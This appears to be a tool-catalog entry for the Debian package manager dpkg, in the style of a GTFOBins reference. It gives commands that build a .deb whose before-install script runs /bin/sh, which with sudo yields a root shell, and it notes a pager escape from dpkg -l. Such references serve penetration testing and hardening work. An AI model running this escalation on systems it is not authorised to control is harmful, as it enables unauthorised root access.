Debian package manager that can spawn shells via crafted package before-install scripts.
dpkg {i} {l} ๐ i ๐ l dpkg {i} {l} Sandbox: execFile · Timeout: 60s
security.privilege-escalation.shell system.package.install security.execution.command | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
i | file | No | - | Install a package | -i |
l | string | No | - | List installed packages | -l |
Inputs
system.package.deb Debian package file
Outputs
process.output Shell output
process_spawnfilesystem_write Produces
process.outputConsumes
system.package.deb| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | medium |
Spawn shell via crafted Debian package with before-install script
echo 'exec /bin/sh' >x.sh
fpm -n x -s dir -t deb -a all --before-install x.sh .
dpkg -i x_1.0_all.deb View package list via less pager (can escape to shell)
dpkg -l dpkg installs and manages Debian packages. With sudo, it can install a crafted package containing a before-install script that executes arbitrary commands as root.